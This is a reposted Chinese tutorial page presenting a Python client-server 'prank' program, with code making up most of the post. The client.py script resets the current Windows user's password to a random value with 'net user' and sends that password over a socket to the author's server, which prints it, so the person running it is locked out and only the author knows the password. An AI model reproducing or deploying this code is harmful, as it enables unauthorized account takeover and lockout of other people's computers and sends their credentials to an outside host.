当前位置:脚本大全 > > 正文

用python制作一个简单的小程序(一个可以套路别人的python小程序实例代码)

时间:2021-10-19 06:43:07类别:脚本大全

用python制作一个简单的小程序

一个可以套路别人的python小程序实例代码

先简要介绍一下程序。

 程序是使用pycharm工具,python语言所写。程序包括客户端 client.py 和服务器端 server.py 两部分,利用了python中的socket包。

 咳咳,使用方法来了!

 首先,你需要你和你的朋友在同一个局域网内,然后在你的主机上,运行服务器端 server.py。

 然后,让你的朋友在他的电脑上运行客户端 client.py。

 此时你朋友电脑的windows用户密码,就会变成一个随机密码,且这个生成的随机密码他本人无法得知,而是把这个密码通过socket传给了服务器端的你。

嗯,然后你朋友的电脑密码就只有你自己知道了~

上代码:

  • ?
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • # client.py:
  • import socket
  • import getpass
  • import subprocess
  • import random
  • phone = socket.socket(socket.af_inet, socket.sock_stream)
  • phone.connect(('172.17.21.56', 8080))
  • user = getpass.getuser()
  • psd = ''
  • for j in range(1, 9):
  • m = str(random.randrange(0, 10))
  • psd = psd + m
  • subprocess.popen(['net', 'user', user, psd])
  • phone.send(psd.encode('utf-8'))
  • back_msg = phone.recv(1024)
  • phone.close()
  • # server.py
  • import socket
  • phone = socket.socket(socket.af_inet, socket.sock_stream)
  • phone.bind(('172.17.21.56', 8080))
  • phone.listen(5)
  • print('starting....')
  • conn, addr = phone.accept()
  • print(conn)
  • print('client addr', addr)
  • print('ready to read msg')
  • client_msg = conn.recv(1024)
  • print('client msg: %s' % client_msg)
  • conn.send(client_msg.upper())
  • conn.close()
  • phone.close()
  • 总结

    以上所述是小编给大家介绍的个可以套路别人的python小程序,希望对大家有所帮助,如果大家有任何疑问欢迎给我留言,小编会及时回复大家的!

    原文链接:https://www.jianshu.com/p/d4bd251aa7f0

    标签:
    上一篇下一篇

    猜您喜欢

    热门推荐